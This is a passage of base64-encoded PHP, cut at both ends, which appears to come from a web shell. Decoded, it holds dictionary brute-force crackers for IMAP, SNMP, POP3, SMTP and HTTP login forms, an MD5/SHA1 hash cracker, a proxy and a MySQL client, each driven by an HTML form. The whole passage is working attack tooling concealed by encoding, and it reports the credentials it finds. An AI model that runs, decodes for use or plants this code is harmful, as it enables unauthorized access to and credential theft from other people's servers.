sKfWVsc2V7CiRwYXNzPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwp9CiRpbWFwPWltYXBsb2dpTigkdGFyZ2V0LCR1c2VyLCRwYXNzKTsKaWYoJGltYXA9PS0xKXtlY2hvICIkZXJyb3Jib3ggQ2FuIG5vdCBjb25uZWN0IHRvIHNlcnZlci4kZXQiO2JyZWFrO31lbHNlewppZiAoJGltYXApe2VjaG8gIlU6ICR1c2VyIFA6ICRwYXNzPGJyPiI7aWYoISR0eXBlKWJyZWFrO319CmZsdXNoZVIoKTsKfQplY2hvICI8YnI+RG9uZTwvZm9udD4iOwpmY2xvc2UoJGRpY3Rpb25hcnkpOwp9CmVsc2V7CmVjaG8gIiRlcnJvcmJveCBDYW4gbm90IG9wZW4gZGljdGlvbmFyeS4kZXQiOwp9Cn1lbHNlIGVjaG8gIjxjZW50ZXI+JHt0fUlNQVAgY3JhY2tlcjokY3JhY2siOwp9CmZ1bmN0aW9uIHNubXBjcmFja2VSKCl7Cmdsb2JhbCAkdCwkZXQsJGVycm9yYm94LCRjcmFjaywkaGN3ZDsKaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ3RhcmdldCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10pKXsKJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOwokZGljdGlvbmFyeT1mb3BlbigkX1JFUVVFU1RbJ2RpY3Rpb25hcnknXSwncicpOwppZiAoJGRpY3Rpb25hcnkpewplY2hvICI8Zm9udCBjb2xvcj1ibHVlPkNyYWNraW5nICIuaHRtbHNwZWNpYWxjaGFycygkdGFyZ2V0KS4iLi4uPGJyPiI7Zmx1c2hlUigpOwp3aGlsZSghZmVvZigkZGljdGlvbmFyeSkpewokY29tPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwokcmVzPXNubXBjaGVjSygkdGFyZ2V0LCRjb20sMik7CmlmKCRyZXMpZWNobyAiJGNvbTxicj4iOwpmbHVzaGVSKCk7Cn0KZWNobyAiPGJyPkRvbmU8L2ZvbnQ+IjsKZmNsb3NlKCRkaWN0aW9uYXJ5KTsKfQplbHNlewplY2hvICIkZXJyb3Jib3ggQ2FuIG5vdCBvcGVuIGRpY3Rpb25hcnkuJGV0IjsKfQp9ZWxzZSBlY2hvICI8Y2VudGVyPiR7dH1TTk1QIGNyYWNrZXI6PC90ZD48dGQgYmdjb2xvcj1cIiMzMzMzMzNcIj48L3RkPjwvdHI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPiRoY3dkPHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+RGljdGlvbmFyeTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0aW9uYXJ5IHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlNlcnZlcjo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YXJnZXQgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIiBhbGlnbj1yaWdodD48aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCB2YWx1ZT1TdGFydD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+IjsKfQpmdW5jdGlvbiBwb3AzY3JhY2tlUigpewpnbG9iYWwgJHQsJGV0LCRlcnJvcmJveCwkY3JhY2s7CmlmICghZW1wdHkoJF9SRVFVRVNUWyd0YXJnZXQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnZGljdGlvbmFyeSddKSl7CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJHR5cGU9JF9SRVFVRVNUWydjb21ibyddOwokdXNlcj0oIWVtcHR5KCRfUkVRVUVTVFsndXNlciddKSk/JF9SRVFVRVNUWyd1c2VyJ106IiI7CiRkaWN0aW9uYXJ5PWZvcGVuKCRfUkVRVUVTVFsnZGljdGlvbmFyeSddLCdyJyk7CmlmICgkZGljdGlvbmFyeSl7CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+Q3JhY2tpbmcgIi5odG1sc3BlY2lhbGNoYXJzKCR0YXJnZXQpLiIuLi48YnI+IjtmbHVzaGVSKCk7CndoaWxlKCFmZW9mKCRkaWN0aW9uYXJ5KSl7CmlmKCR0eXBlKXsKJGNvbWJvPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwokdXNlcj1zdWJzdHIoJGNvbWJvLDAsc3RycG9zKCRjb21ibywnOicpKTsKJHBhc3M9c3Vic3RyKCRjb21ibyxzdHJwb3MoJGNvbWJvLCc6JykrMSk7Cn1lbHNlewokcGFzcz10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKfQokcG9wMz1wb3AzbG9naU4oJHRhcmdldCwkdXNlciwkcGFzcyk7CmlmKCRwb3AzPT0tMSl7ZWNobyAiJGVycm9yYm94IENhbiBub3QgY29ubmVjdCB0byBzZXJ2ZXIuJGV0IjticmVhazt9IGVsc2V7CmlmICgkcG9wMyl7ZWNobyAiVTogJHVzZXIgUDogJHBhc3M8YnI+IjtpZighJHR5cGUpYnJlYWs7fX0KZmx1c2hlUigpOwp9CmVjaG8gIjxicj5Eb25lPC9mb250PiI7CmZjbG9zZSgkZGljdGlvbmFyeSk7Cn0KZWxzZXsKZWNobyAiJGVycm9yYm94IENhbiBub3Qgb3BlbiBkaWN0aW9uYXJ5LiRldCI7Cn0KfWVsc2UgZWNobyAiPGNlbnRlcj4ke3R9UE9QMyBjcmFja2VyOiRjcmFjayI7Cn0KZnVuY3Rpb24gc210cGNyYWNrZVIoKXsKZ2xvYmFsICR0LCRldCwkZXJyb3Jib3gsJGNyYWNrOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsndGFyZ2V0J10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ2RpY3Rpb25hcnknXSkpewokdGFyZ2V0PSRfUkVRVUVTVFsndGFyZ2V0J107CiR0eXBlPSRfUkVRVUVTVFsnY29tYm8nXTsKJHVzZXI9KCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXInXSkpPyRfUkVRVUVTVFsndXNlciddOiIiOwokZGljdGlvbmFyeT1mb3BlbigkX1JFUVVFU1RbJ2RpY3Rpb25hcnknXSwncicpOwppZiAoJGRpY3Rpb25hcnkpewplY2hvICI8Zm9udCBjb2xvcj1ibHVlPkNyYWNraW5nICIuaHRtbHNwZWNpYWxjaGFycygkdGFyZ2V0KS4iLi4uPGJyPiI7Zmx1c2hlUigpOwp3aGlsZSghZmVvZigkZGljdGlvbmFyeSkpewppZigkdHlwZSl7CiRjb21ibz10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKJHVzZXI9c3Vic3RyKCRjb21ibywwLHN0cnBvcygkY29tYm8sJzonKSk7CiRwYXNzPXN1YnN0cigkY29tYm8sc3RycG9zKCRjb21ibywnOicpKzEpOwp9ZWxzZXsKJHBhc3M9dHJpbShmZ2V0cygkZGljdGlvbmFyeSksIiBcblxyIik7Cn0KJHNtdHA9c210cGxvZ2lOKCR0YXJnZXQsJHVzZXIsJHBhc3MsNSk7CmlmKCRzbXRwPT0tMSl7ZWNobyAiJGVycm9yYm94IENhbiBub3QgY29ubmVjdCB0byBzZXJ2ZXIuJGV0IjticmVhazt9IGVsc2V7CmlmICgkc210cCl7ZWNobyAiVTogJHVzZXIgUDogJHBhc3M8YnI+IjtpZighJHR5cGUpYnJlYWs7fX0KZmx1c2hlUigpOwp9CmVjaG8gIjxicj5Eb25lPC9mb250PiI7CmZjbG9zZSgkZGljdGlvbmFyeSk7Cn0KZWxzZXsKZWNobyAiJGVycm9yYm94IENhbiBub3Qgb3BlbiBkaWN0aW9uYXJ5LiRldCI7Cn0KfWVsc2UgZWNobyAiPGNlbnRlcj4ke3R9U01UUCBjcmFja2VyOiRjcmFjayI7Cn0KZnVuY3Rpb24gZm9ybWNyYWNrZVIoKXsKZ2xvYmFsICRlcnJvcmJveCwkZm9vdGVyLCRldCwkaGN3ZDsKaWYoIWVtcHR5KCRfUkVRVUVTVFsnc3RhcnQnXSkpewokdXJsPSRfUkVRVUVTVFsndGFyZ2V0J107CiR1Zj0kX1JFUVVFU1RbJ3VzZXJmJ107CiRwZj0kX1JFUVVFU1RbJ3Bhc3NmJ107CiRzZj0kX1JFUVVFU1RbJ3N1Ym1pdGYnXTsKJHN2PSRfUkVRVUVTVFsnc3VibWl0diddOwokbWV0aG9kPSRfUkVRVUVTVFsnbWV0aG9kJ107CiRmYWlsPSRfUkVRVUVTVFsnZmFpbCddOwokZGljPSRfUkVRVUVTVFsnZGljdGlvbmFyeSddOwokdHlwZT0kX1JFUVVFU1RbJ2NvbWJvJ107CiR1c2VyPSghZW1wdHkoJF9SRVFVRVNUWyd1c2VyJ10pKT8kX1JFUVVFU1RbJ3VzZXInXToiIjsKaWYoIWZpbGVfZXhpc3RzKCRkaWMpKSBkaWUoIiRlcnJvcmJveCBDYW4gbm90IG9wZW4gZGljdGlvbmFyeS4kZXQkZm9vdGVyIik7CiRkaWN0aW9uYXJ5PWZvcGVuKCRkaWMsJ3InKTsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5DcmFja2luZyBzdGFydGVkLi4uPGJyPiI7CndoaWxlKCFmZW9mKCRkaWN0aW9uYXJ5KSl7CmlmKCR0eXBlKXsKJGNvbWJvPXRyaW0oZmdldHMoJGRpY3Rpb25hcnkpLCIgXG5cciIpOwokdXNlcj1zdWJzdHIoJGNvbWJvLDAsc3RycG9zKCRjb21ibywnOicpKTsKJHBhc3M9c3Vic3RyKCRjb21ibyxzdHJwb3MoJGNvbWJvLCc6JykrMSk7Cn1lbHNlewokcGFzcz10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKfQokdXJsLj0iPyR1Zj0kdXNlciYkcGY9JHBhc3MmJHNmPSRzdiI7CiRyZXM9Y2hlY2tfdXJMKCR1cmwsJG1ldGhvZCwkZmFpbCwxMik7CmlmICghJHJlcyl7ZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5VOiAkdXNlciBQOiAkcGFzczwvZm9udD48YnI+IjtmbHVzaGVSKCk7aWYoISR0eXBlKWJyZWFrO30KZmx1c2hlUigpOwp9CmZjbG9zZSgkZGljdGlvbmFyeSk7CmVjaG8gIkRvbmUhPC9mb250Pjxicj4iOwp9CmVsc2UgZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgd2lkdGg9XCI0MzRcIj48dHI+PHRkIHdpZHRoPVwiMTc0XCIgYmdjb2xvcj1cIiMzMzMzMzNcIj5IVFRQIEZvcm0gY3JhY2tlcjo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiMjUzXCI+PC90ZD48L3RyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBuYW1lPWZvcm0+PHRyPjx0ZCB3aWR0aD1cIjE3NFwiIGJnY29sb3I9XCIjNjY2NjY2XCI+RGljdGlvbmFyeTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIHdpZHRoPVwiMjUzXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3Rpb25hcnkgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjE3NFwiIGJnY29sb3I9XCIjODA4MDgwXCI+RGljdGlvbmFyeSB0eXBlOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT1jb21ibyBjaGVja2VkIHZhbHVlPTAgb25DbGljaz1cImRvY3VtZW50LmZvcm0udXNlci5kaXNhYmxlZCA9IGZhbHNlO1wiIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCI+U2ltcGxlIChQKTxpbnB1dCB0eXBlPXJhZGlvIHZhbHVlPTEgbmFtZT1jb21ibyBvbkNsaWNrPVwiZG9jdW1lbnQuZm9ybS51c2VyLmRpc2FibGVkID0gdHJ1ZTtcIiBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiPkNvbWJvIChVOlApPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlVzZXJuYW1lOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPXJvb3QgbmFtZT11c2VyPiRoY3dkPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPkFjdGlvbiBQYWdlOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgd2lkdGg9XCIyNTNcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFyZ2V0IHZhbHVlPVwiaHR0cDovLyIuZ2V0ZW52KCdIVFRQX0hPU1QnKS4iL2xvZ2luLnBocFwiIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPk1ldGhvZDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIHdpZHRoPVwiMjUzXCI+PHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJtZXRob2RcIj48b3B0aW9uIHNlbGVjdGVkIHZhbHVlPVwiUE9TVFwiPlBPU1Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlVzZXJuYW1lIGZpZWxkIG5hbWU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIiB3aWR0aD1cIjI1M1wiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VyZiB2YWx1ZT11c2VyIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlBhc3N3b3JkIGZpZWxkIG5hbWU6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIiB3aWR0aD1cIjI1M1wiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXNzZiB2YWx1ZT1wYXNzd2Qgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjE3NFwiIGJnY29sb3I9XCIjODA4MDgwXCI+U3VibWl0IG5hbWU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIiB3aWR0aD1cIjI1M1wiPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9bG9naW4gbmFtZT1zdWJtaXRmIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlN1Ym1pdCB2YWx1ZTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiIHdpZHRoPVwiMjUzXCI+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT1cIkxvZ2luXCIgbmFtZT1zdWJtaXR2IHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPkZhaWwgc3RyaW5nOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgd2lkdGg9XCIyNTNcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmFpbCB2YWx1ZT1cIlRyeSBhZ2FpblwiIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIxNzRcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249cmlnaHQgd2lkdGg9XCIyNTNcIj48aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCBuYW1lPXN0YXJ0IHZhbHVlPVN0YXJ0PjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2NlbnRlcj4iOwp9CmZ1bmN0aW9uIGhhc2hjcmFja2VSKCl7Cmdsb2JhbCAkZXJyb3Jib3gsJHQsJGV0LCRoY3dkOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnaGFzaCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydkaWN0aW9uYXJ5J10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3R5cGUnXSkpewokZGljdGlvbmFyeT1mb3BlbigkX1JFUVVFU1RbJ2RpY3Rpb25hcnknXSwncicpOwppZiAoJGRpY3Rpb25hcnkpewokaGFzaD1zdHJ0b3VwcGVyKCRfUkVRVUVTVFsnaGFzaCddKTsKZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5DcmFja2luZyAiIC4gaHRtbHNwZWNpYWxjaGFycygkaGFzaCkuIi4uLjxicj4iO2ZsdXNoZVIoKTsKJHR5cGU9KCRfUkVRVUVTVFsndHlwZSddPT0nTUQ1Jyk/J21kNSc6J3NoYTEnOwp3aGlsZSghZmVvZigkZGljdGlvbmFyeSkpewokd29yZD10cmltKGZnZXRzKCRkaWN0aW9uYXJ5KSwiIFxuXHIiKTsKaWYgKCRoYXNoPT1zdHJ0b3VwcGVyKCgkdHlwZSgkd29yZCkpKSl7ZWNobyAiVGhlIGFuc3dlciBpcyAkd29yZDxicj4iO2JyZWFrO30KfQplY2hvICJEb25lITwvZm9udD4iOwpmY2xvc2UoJGRpY3Rpb25hcnkpOwp9CmVsc2V7CmVjaG8gIiRlcnJvcmJveCBDYW4gbm90IG9wZW4gZGljdGlvbmFyeS4kZXQiOwp9Cn0KZWNobyAiPGNlbnRlcj4ke3R9SGFzaCBjcmFja2VyOjwvdGQ+PHRkIGJnY29sb3I9XCIjMzMzMzMzXCI+PC90ZD48L3RyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5EaWN0aW9uYXJ5OjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3Rpb25hcnkgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+SGFzaDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1oYXNoIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlR5cGU6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48c2VsZWN0IG5hbWU9dHlwZT48b3B0aW9uIHNlbGVjdGVkIHZhbHVlPU1ENT5NRDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVNIQTE+U0hBMTwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj48L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiIGFsaWduPXJpZ2h0PiRoY3dkPGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9U3RhcnQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPiI7Cn0KZnVuY3Rpb24gcHIweHkoKXsKZ2xvYmFsICRlcnJvcmJveCwkZXQsJGZvb3RlciwkaGN3ZDsKZWNobyAiPHRhYmxlIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiMTAwJVwiPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dHI+PHRkIHdpZHRoPVwiMjAlXCI+PGI+TmF2aWdhdG9yOiA8L2I+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVyTCBzaXplPTE0MCB2YWx1ZT1cIiI7IGlmKCEhZW1wdHkoJF9SRVFVRVNUWyd1ckwnXSkpIGVjaG8gImh0dHA6Ly93d3cuZWRwc2NpZW5jZXMub3JnL2h0YmluL2lwYWRkcmVzcyI7IGVsc2UgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsndXJMJ10pO2VjaG8gIlwiPiRoY3dkPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPWJ1dHRvbnMgdmFsdWU9R28+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPiI7CmlmICghZW1wdHkoJF9SRVFVRVNUWyd1ckwnXSkpewokZGlyPSIiOwokdT1wYXJzZV91cmwoJF9SRVFVRVNUWyd1ckwnXSk7CiRob3N0PSR1Wydob3N0J107JGZpbGU9KCFlbXB0eSgkdVsncGF0aCddKSk/JHVbJ3BhdGgnXTonLyc7CmlmKHN1YnN0cl9jb3VudCgkZmlsZSwnLycpPjEpJGRpcj1zdWJzdHIoJGZpbGUsMCwoc3RycG9zKCRmaWxlLCcvJykpKTsKJHVybD1AZnNvY2tvcGVuKCRob3N0LCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMik7CmlmKCEkdXJsKWRpZSgiPGJyPiRlcnJvcmJveCBDYW4gbm90IGNvbm5lY3QgdG8gaG9zdCEkZXQkZm9vdGVyIik7CmZwdXRzKCR1cmwsICJHRVQgLyRmaWxlIEhUVFAvMS4wXHJcbkFjY2VwdC1FbmNvZGluZzogdGV4dFxyXG5Ib3N0OiAkaG9zdFxyXG5SZWZlcmVyOiAkaG9zdFxyXG5Vc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuMTsgRnJlZUJTRClcclxuXHJcbiIpOwp3aGlsZSghZmVvZigkdXJsKSl7CiRjb24gPSBmZ2V0cygkdXJsKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJocmVmPW1haWx0byIsIkhyRWY9bWFpbHRvIiwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJIUkVGPW1haWx0byIsIkhyRWY9bWFpbHRvIiwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJocmVmPVwibWFpbHRvIiwiSHJFZj1cIm1haWx0byIsJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiSFJFRj1cIm1haWx0byIsIkhyRWY9XCJtYWlsdG8iLCRjb24pOwokY29uID0gc3RyX3JlcGxhY2UoImhyZWY9XCdtYWlsdG8iLCJIckVmPVwibWFpbHRvIiwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJIUkVGPVwnbWFpbHRvIiwiSHJFZj1cIm1haWx0byIsJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiaHJlZj1cImh0dHAiLCJIckVmPVwiIi5obGluSygic2VDPXB4JnVyTD1odHRwIiksJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiSFJFRj1cImh0dHAiLCJIckVmPVwiIi5obGluSygic2VDPXB4JnVyTD1odHRwIiksJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiaHJlZj1cJ2h0dHAiLCJIckVmPVwiIi5obGluSygic2VDPXB4JnVyTD1odHRwIiksJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiSFJFRj1cJ2h0dHAiLCJIckVmPVwiIi5obGluSygic2VDPXB4JnVyTD1odHRwIiksJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiaHJlZj1odHRwIiwiSHJFZj0iLmhsaW5LKCJzZUM9cHgmdXJMPWh0dHAiKSwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJIUkVGPWh0dHAiLCJIckVmPSIuaGxpbksoInNlQz1weCZ1ckw9aHR0cCIpLCRjb24pOwokY29uID0gc3RyX3JlcGxhY2UoImhyZWY9XCIiLCJIckVmPVwiIi5obGluSygic2VDPXB4JnVyTD1odHRwOi8vJGhvc3QvJGRpci8iKSwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJIUkVGPVwiIiwiSHJFZj1cIiIuaGxpbksoInNlQz1weCZ1ckw9aHR0cDovLyRob3N0LyRkaXIvIiksJGNvbik7CiRjb24gPSBzdHJfcmVwbGFjZSgiaHJlZj1cIiIsIkhyRWY9XCciLmhsaW5LKCJzZUM9cHgmdXJMPWh0dHA6Ly8kaG9zdC8kZGlyLyIpLCRjb24pOwokY29uID0gc3RyX3JlcGxhY2UoIkhSRUY9XCIiLCJIckVmPVwnIi5obGluSygic2VDPXB4JnVyTD1odHRwOi8vJGhvc3QvJGRpci8iKSwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJocmVmPSIsIkhyRWY9Ii5obGluSygic2VDPXB4JnVyTD1odHRwOi8vJGhvc3QvJGRpci8iKSwkY29uKTsKJGNvbiA9IHN0cl9yZXBsYWNlKCJIUkVGPSIsIkhyRWY9Ii5obGluSygic2VDPXB4JnVyTD1odHRwOi8vJGhvc3QvJGRpci8iKSwkY29uKTsKZWNobyAkY29uOwp9CmZjbG9zZSgkdXJsKTsKfQp9CmZ1bmN0aW9uIG15c3FsY2xpZW5UKCl7Cmdsb2JhbCAkdCwkZXJyb3Jib3gsJGV0LCRoY3dkOwppZiAoIWVtcHR5KCRfUkVRVUVTVFsnc2VydmVSJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3VzZVInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsncGFzUyddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydxdWVyWSddKSl7CiRzZXJ2ZXI9JF9SRVFVRVNUWydzZXJ2ZVInXTskcGFzcz0kX1JFUVVFU1RbJ3Bhc1MnXTskdXNlcj0kX1JFUVVFU1RbJ3VzZVInXTskcXVlcnk9JF9SRVFVRVNUWydxdWVyWSddOwppZighZW1wdHkoJF9SRVFVRVNUWydkQiddKSkkZGI9JF9SRVFVRVNUWydkQiddOwokbGluayA9IEBteXNxbF9jb25uZWN0KCRzZXJ2ZXIsJHVzZXIsJHBhc3MpOwppZigkbGluayl7CmlmICghZW1wdHkoJGRiKSlteXNxbF9zZWxlY3RfZGIoJGRiKTsKJHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJGxpbmspOwplY2hvICIke3R9UXVlcnkgcmVzdWx0KHMpOiRldCI7CmVjaG8gIjxmb250IGNvbG9yPWJsdWU+PHByZT4iOwp3aGlsZSgkZGF0YT1teXNxbF9mZXRjaF9yb3coJHJlc3VsdCkpewpmb3JlYWNoKCRkYXRhIGFzICR2KSB7CmVjaG8gJHY7CmVjaG8gIlx0IjsKfQplY2hvICJcbiI7Cn0KZWNobyAiPC9wcmU+PC9mb250PiI7Cm15c3FsX2Nsb3NlKCRsaW5rKTsKfQplbHNlewplY2hvICIkZXJyb3Jib3ggTG9naW4gZmFpbGVkISRldDxicj4iOwp9Cn0KZWNobyAiPGNlbnRlcj4ke3R9TXlTUUwgY2lsZW50OjwvdGQ+PHRkIGJnY29sb3I9XCIjMzMzMzMzXCI+PC90ZD48L3RyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5TZXJ2ZXI6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPVwiIjtpZiAoIWVtcHR5KCRfUkVRVUVTVFsnc2VydmVyJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydzZXJ2ZXInXSk7ZWxzZSBlY2hvICJsb2NhbGhvc3Q6MzMwNiI7IGVjaG8gIlwiIG5hbWU9c2VydmVSIHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlVzZXJuYW1lOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZVIgdmFsdWU9XCIiO2lmICghZW1wdHkoJF9SRVFVRVNUWyd1c2VyJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWyd1c2VyJ10pO2Vsc2UgZWNobyAicm9vdCI7IGVjaG8gIlwiIHNpemU9MzU+PC90ZD48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj5QYXNzd29yZDo8